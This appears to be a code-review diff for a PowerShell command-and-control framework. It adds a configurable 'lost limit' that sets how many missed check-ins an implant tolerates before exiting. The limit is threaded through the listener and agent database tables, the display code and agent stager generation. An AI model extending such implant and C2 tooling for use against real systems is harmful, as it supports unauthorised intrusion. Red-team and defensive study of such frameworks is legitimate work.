cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultLostLimit] )
|
||||||
|
|
||||||
# get the ID for the listener
|
# get the ID for the listener
|
||||||
cur.execute("SELECT id FROM listeners where name=?", [sessionID])
|
cur.execute("SELECT id FROM listeners where name=?", [sessionID])
|
||||||
|
|
|
@ -126,7 +126,7 @@ def display_agents(agents):
|
||||||
print " --------- ----------- ------------ --------- ------- ----- --------------------"
|
print " --------- ----------- ------------ --------- ------- ----- --------------------"
|
||||||
|
|
||||||
for agent in agents:
|
for agent in agents:
|
||||||
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version] = agent
|
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit] = agent
|
||||||
if str(high_integrity) == "1":
|
if str(high_integrity) == "1":
|
||||||
# add a * to the username if it's high integrity
|
# add a * to the username if it's high integrity
|
||||||
username = "*" + username
|
username = "*" + username
|
||||||
|
@ -146,7 +146,7 @@ def display_agent(agent):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
# extract out database fields.
|
# extract out database fields.
|
||||||
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"]
|
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"]
|
||||||
|
|
||||||
print helpers.color("\n[*] Agent info:\n")
|
print helpers.color("\n[*] Agent info:\n")
|
||||||
|
|
||||||
|
@ -173,7 +173,7 @@ def display_listeners(listeners):
|
||||||
|
|
||||||
for listener in listeners:
|
for listener in listeners:
|
||||||
|
|
||||||
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = listener
|
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = listener
|
||||||
|
|
||||||
if not host.startswith("http"):
|
if not host.startswith("http"):
|
||||||
if cert_path and cert_path != "":
|
if cert_path and cert_path != "":
|
||||||
|
@ -196,15 +196,15 @@ def display_listener(options):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
print "\nListener Options:\n"
|
print "\nListener Options:\n"
|
||||||
print " Name Required Value Description"
|
print " Name Required Value Description"
|
||||||
print " ---- -------- ------- -----------"
|
print " ---- -------- ------- -----------"
|
||||||
|
|
||||||
for option,values in options.iteritems():
|
for option,values in options.iteritems():
|
||||||
# if there's a long value length, wrap it
|
# if there's a long value length, wrap it
|
||||||
if len(str(values['Value'])) > 33:
|
if len(str(values['Value'])) > 33:
|
||||||
print " %s%s%s" % ('{0: <15}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=29, followingHeader=values['Description'])))
|
print " %s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=32, followingHeader=values['Description'])))
|
||||||
else:
|
else:
|
||||||
print " %s%s%s%s" % ('{0: <15}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description'])
|
print " %s%s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description'])
|
||||||
|
|
||||||
print "\n"
|
print "\n"
|
||||||
|
|
||||||
|
@ -216,7 +216,7 @@ def display_listener_database(listener):
|
||||||
Transforms the tuple set to an options dictionary and calls display_listener().
|
Transforms the tuple set to an options dictionary and calls display_listener().
|
||||||
"""
|
"""
|
||||||
|
|
||||||
[ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget] = listener
|
[ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultLostLimit] = listener
|
||||||
|
|
||||||
options = {
|
options = {
|
||||||
'ID' : {
|
'ID' : {
|
||||||
|
@ -259,6 +259,11 @@ def display_listener_database(listener):
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
|
'DefaultLostLimit' : {
|
||||||
|
'Description' : 'Number of missed checkins before exiting',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
'DefaultProfile' : {
|
'DefaultProfile' : {
|
||||||
'Description' : 'Default communication profile for the agent.',
|
'Description' : 'Default communication profile for the agent.',
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
|
@ -299,6 +304,7 @@ def display_listener_database(listener):
|
||||||
options['WorkingHours']['Value'] = workingHours
|
options['WorkingHours']['Value'] = workingHours
|
||||||
options['Type']['Value'] = listenerType
|
options['Type']['Value'] = listenerType
|
||||||
options['RedirectTarget']['Value'] = redirectTarget
|
options['RedirectTarget']['Value'] = redirectTarget
|
||||||
|
options['DefaultLostLimit']['Value'] = defaultLostLimit
|
||||||
|
|
||||||
display_listener(options)
|
display_listener(options)
|
||||||
|
|
||||||
|
|
|
@ -10,6 +10,7 @@ import http
|
||||||
import helpers
|
import helpers
|
||||||
import encryption
|
import encryption
|
||||||
import os
|
import os
|
||||||
|
import base64
|
||||||
|
|
||||||
|
|
||||||
class Stagers:
|
class Stagers:
|
||||||
|
@ -163,24 +164,26 @@ class Stagers:
|
||||||
return randomizedStager
|
return randomizedStager
|
||||||
|
|
||||||
|
|
||||||
def generate_agent(self, delay, jitter, profile, killDate, workingHours):
|
def generate_agent(self, delay, jitter, profile, killDate, workingHours, lostLimit):
|
||||||
"""
|
"""
|
||||||
Generate "standard API" functionality, i.e. the actual agent.ps1 that runs.
|
Generate "standard API" functionality, i.e. the actual agent.ps1 that runs.
|
||||||
|
|
||||||
This should always be sent over encrypted comms.
|
This should always be sent over encrypted comms.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
f = open(self.installPath + "./data/agent/agent.ps1")
|
f = open(self.installPath + "./data/agent/agent.ps1")
|
||||||
code = f.read()
|
code = f.read()
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
# strip out comments and blank lines
|
# strip out comments and blank lines
|
||||||
code = helpers.strip_powershell_comments(code)
|
code = helpers.strip_powershell_comments(code)
|
||||||
|
b64DefaultPage = base64.b64encode(http.default_page())
|
||||||
|
|
||||||
# patch in the delay, jitter, and comms profile
|
# patch in the delay, jitter, lost limit, and comms profile
|
||||||
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
|
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
|
||||||
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
|
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
|
||||||
code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
|
code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
|
||||||
|
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
|
||||||
|
code = code.replace('$DefaultPage = ""', '$DefaultPage = "'+b64DefaultPage+'"')
|
||||||
|
|
||||||
# patch in the killDate and workingHours if they're specified
|
# patch in the killDate and workingHours if they're specified
|
||||||
if killDate != "":
|
if killDate != "":
|
||||||
|
|
|
@ -113,7 +113,7 @@ class Module:
|
||||||
print helpers.color("[!] Meterpreter/Beacon listener required!")
|
print helpers.color("[!] Meterpreter/Beacon listener required!")
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.mainMenu.listeners.get_listener(listenerName)
|
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.mainMenu.listeners.get_listener(listenerName)
|
||||||
|
|
||||||
MSFpayload = "reverse_http"
|
MSFpayload = "reverse_http"
|
||||||
if "https" in host:
|
if "https" in host:
|
||||||
|
|
|
@ -164,7 +164,7 @@ Invoke-Redirector"""
|
||||||
else:
|
else:
|
||||||
listenerName = values['Value']
|
listenerName = values['Value']
|
||||||
# get the listener options and set them for the script
|
# get the listener options and set them for the script
|
||||||
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.mainMenu.listeners.get_listener(values['Value'])
|
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.mainMenu.listeners.get_listener(values['Value'])
|
||||||
script += " -ConnectHost " + str(host)
|
script += " -ConnectHost " + str(host)
|
||||||
|
|
||||||
elif option.lower() != "agent":
|
elif option.lower() != "agent":
|
||||||
|
|
|
@ -61,6 +61,9 @@ IP_WHITELIST = ""
|
||||||
# format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8
|
# format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8
|
||||||
IP_BLACKLIST = ""
|
IP_BLACKLIST = ""
|
||||||
|
|
||||||
|
#number of times an agent will call back without an answer prior to exiting
|
||||||
|
DEFAULT_LOST_LIMIT = 60
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
###################################################
|
###################################################
|
||||||
|
@ -90,11 +93,12 @@ c.execute('''CREATE TABLE config (
|
||||||
"install_path" text,
|
"install_path" text,
|
||||||
"server_version" text,
|
"server_version" text,
|
||||||
"ip_whitelist" text,
|
"ip_whitelist" text,
|
||||||
"ip_blacklist" text
|
"ip_blacklist" text,
|
||||||
|
"default_lost_limit" integer
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
# kick off the config component of the database
|
# kick off the config component of the database
|
||||||
c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST))
|
c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_LOST_LIMIT))
|
||||||
|
|
||||||
c.execute('''CREATE TABLE "agents" (
|
c.execute('''CREATE TABLE "agents" (
|
||||||
"id" integer PRIMARY KEY,
|
"id" integer PRIMARY KEY,
|
||||||
|
@ -124,7 +128,8 @@ c.execute('''CREATE TABLE "agents" (
|
||||||
"functions" text,
|
"functions" text,
|
||||||
"kill_date" text,
|
"kill_date" text,
|
||||||
"working_hours" text,
|
"working_hours" text,
|
||||||
"ps_version" text
|
"ps_version" text,
|
||||||
|
"lost_limit" integer
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
c.execute('''CREATE TABLE "listeners" (
|
c.execute('''CREATE TABLE "listeners" (
|
||||||
|
@ -140,7 +145,8 @@ c.execute('''CREATE TABLE "listeners" (
|
||||||
"kill_date" text,
|
"kill_date" text,
|
||||||
"working_hours" text,
|
"working_hours" text,
|
||||||
"listener_type" text,
|
"listener_type" text,
|
||||||
"redirect_target" text
|
"redirect_target" text,
|
||||||
|
"default_lost_limit" integer
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
# type = hash, plaintext, token
|
# type = hash, plaintext, token
|
||||||
|
|
Loading…
Reference in New Issue